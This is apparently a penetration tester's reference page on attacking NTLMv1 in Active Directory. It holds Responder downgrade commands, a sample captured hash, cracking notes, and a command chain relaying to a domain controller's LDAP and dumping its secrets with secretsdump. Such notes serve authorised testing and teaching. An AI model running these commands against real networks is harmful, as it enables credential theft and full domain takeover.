Tactics, Techniques, and Procedures
Personal BlogTwitterGitHubContact
  • Tactics, Techniques, and Procedures
  • ☠️Pentesting
    • Fortress
      • Automation
      • Cisco
        • Cisco Adaptive Security Appliance
        • Cisco Smart Install
      • CMS
        • Drupal
        • Wordpress
      • Exchange
      • Office365
      • Okta
      • Outlook Web Access (OWA)
      • SSH
      • Subdomain Takeover
    • Infrastructure
      • Active Directory
        • AD CS
        • Coercing Authentication
        • Credential Dumping
          • Cached Domain Credentials
          • Data Protection API (DPAPI)
          • Group Policy Preferences
          • LSA Secrets
          • LSASS Memory
          • NTDS
          • Security Account Manager (SAM)
          • Kerberos Tickets
          • Unsecured Credentials
          • WDigest
          • WiFi Profiles
        • Delegation Abuse
          • Constrained Delegation
          • Unconstrained Delegation
        • Domain Enumeration
        • Domain Dominance
          • Forge Golden Ticket
          • Forge Silver Ticket
          • Forge Trust Ticket
          • Skeleton Key
        • Group Policy Preferences
        • Kerberos
          • AS-REP Roasting
          • Kerberoasting
          • Kerberos Relaying
        • Lateral Movement
          • PowerShell
          • Windows Remote Management (WinRM)
        • Local Administrator Password Solution (LAPS)
        • NoPac
        • NTLMv1
        • Password Cracking
        • Password Policy
        • Password Spraying
        • Reconnaissance
        • Relaying
          • LDAP Relaying
          • SMB Relaying
        • Shadow Credentials
        • Zerologon
      • Database Management System (DBMS)
        • Microsoft SQL Server
      • Defense Evasion
        • Disable or Modify Tools
        • Disable Windows Event Logging
        • Impair Command History Logging
        • Timestomping
      • Low-Hanging Fruit
      • Networks
        • IPv6
        • LLMNR/NBT-NS Poisoning
        • Network Scanning
        • Network Sniffing
        • Segmentation Testing
        • Simple Network Management Protocol (SNMP)
        • Subnet Enumeration
        • Identifying Domain Information
      • Persistence
        • Create Account
        • Remote Desktop
        • Services
          • Service Privilege Escalation / Persistence
          • Systemd Service Persistence
        • Web Shell
        • DLL Hijacking
      • Pivoting
      • Privilege Escalation
        • Linux
          • Setuid and Setgid
        • Windows
          • Privilege Abuse
            • SeImpersonatePrivilege
            • SeLoadDriverPrivilege
          • Service Exploitation
    • Initial Access
      • Phishing
        • Creating Templates
          • Leveraging AI During Template Creation
        • Payloads
          • Non-malicious Callback
          • Macros
    • OSINT
      • Identifying Users
      • Network Information
      • Search Engines
    • Web Applications
      • Access Control
      • APIs
        • Swagger API
      • Authentication
        • Account Takeover
      • Clickjacking
      • Cross Origin Resource Sharing (CORS)
      • Cross Site Request Forgery (CSRF)
      • Document Object Model (DOM)
      • File Upload
      • Google Dorking
      • GraphQL
      • HTTP Request Smuggling
      • Information Disclosure
      • Insecure Direct Object Reference (IDOR)
      • Injection Vulnerabilities
        • Cross-Site Scripting (XSS)
          • Blind Cross-Site Scripting
          • Finding Cross-Site Scripting
          • Stealing Cookies
          • XSS Payloads
        • CSV Injection
        • XML External Entity Injection (XXE)
        • LDAP Injection
        • NoSQL Injection
        • Server-Side Template Injection
        • SQL Injection
      • JSON Web Tokens (JWT)
      • Local File Inclusion (LFI)
      • OAuth
      • Open Redirection
      • Password Reset Poisoning
      • Prototype Pollution
      • Race Condition
      • Rate Limit Bypass
      • Remote Code Execution (RCE)
      • Remote File Inclusion (RFI)
      • Suspicious Parameters
      • Tooling
        • Burp Suite
          • Authentication / Proxy Issues
          • Intruder Attack Types
          • Match and Replace
          • Quality of Life
        • Misc Tooling
      • WAF Bypasses
      • WebSockets
      • Web Cache Deception
      • Web Cache Poisoning
    • Wireless
      • WPA / WPA2
        • Alfa Troubleshooting
        • Enterprise
        • Personal
    • Cloud
      • Amazon Web Services (AWS)
      • Microsoft Azure
  • 🧨Red Teaming
    • C2
      • Cobalt Strike
      • Empire
      • Metasploit
        • Metasploit Datatabase
      • Mythic
      • Sliver
    • Malware Dev
    • Offensive Infrastructure
      • Cloud Fronting
      • Redirectors
      • OpSec
      • Phishing Infrastructure
      • Creating a Dropbox
    • Offensive Tactics
    • Philosophy
  • 🦋Bug Bounty
    • Bug Bounty Tips & Tricks
  • 📖Resources
    • Blog Posts and Goodies
    • Checklists
    • Offensive Security Notes
    • Tooling Repository
    • Active Directory Toolkit
Powered by GitBook
On this page
  • Downgrading
  • Cracking NTLMv1
  • Attacking a Domain Controller
  • References
  1. Pentesting
  2. Infrastructure
  3. Active Directory

NTLMv1

PreviousNoPacNextPassword Cracking

Last updated 2 years ago

NT LAN Manager version 1 (NTLMv1) is vulnerable to several attacks and should be disabled in environments whenever possible. All Microsoft operating systems support its successor NT Lan Manager version 2 (NTLMv2) which should be used instead.

A NTLMv1 hash is formatted like the following:

username::hostname:response:response:challenge -> NTHASH:response

Downgrading

It is possible in environments where NT LAN Manager version 1 is utilized to obtain an NTLMv1 hash from a target computer.

While this was partially described in the , prior to receiving a callback we need to run Responder, after modifying the 'Challenge' variable to 1122334455667788. We can then run Responder with the following options:

# Receive and attempt to crack the hash with crack.sh's rainbow tables
Responder.py -I $interface --lm 

# Attempt to remove ESS/SSP and crack locally or for a fee
Responder.py -I $interface --lm --disable-ess

Cracking NTLMv1

Referencing crack.sh, a NTLMv1 hash with ESS/SSP looks like the following:

hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788

After obtaining a hash with ESS/SSP, we first need to reformat the obtained hash using EvilMog's or and cracked with a database of NT hashes.

If we weren't able to remove the ESS/SSP with Responder then it will no longer be possible to crack with crack.sh’s rainbow tables. Instead, it can be submitted and crack on crack.sh for a fee.

Attacking a Domain Controller

If NTLMv1 is enabled, you can leverage the ability where DC's have the ability to modify their own msDS-KeyCredentialLink attribute. It should be noted this requires two domain controllers to exploit.

1. ntlmrelayx.py -t ldap://$dc1 -of hashes --shadow-credentials --shadow-target '$dc2' --cert-outfile-path crt --no-validate-privs --remove-mic
2. gettgtpkinit.py -cert-pfx crt.pfx -pfx-pass PFX_PASSWORD http://contoso.com/DC2$ crt.ccache
3. KRB5CCNAME=crt.ccache http://getnthash.py http://contoso.com/DC2\$ -key KEY_FROM_PKINIT
4. secretsdump.py 'http://contoso.com/DC2$'@DC2 -hashes :LMHASH_FROM_GETNTHASH -history

References

☠️
Coercion section
NTLMv1-multi tool
assless-chaps
Cracking NTLMv1 \w ESS/SSPcrack.sh
Digging into an NTLM Downgrade Attack - PraetorianPraetorian
Practical Attacks against NTLMv1 - TrustedSecTrustedSec
Logo
Logo
Logo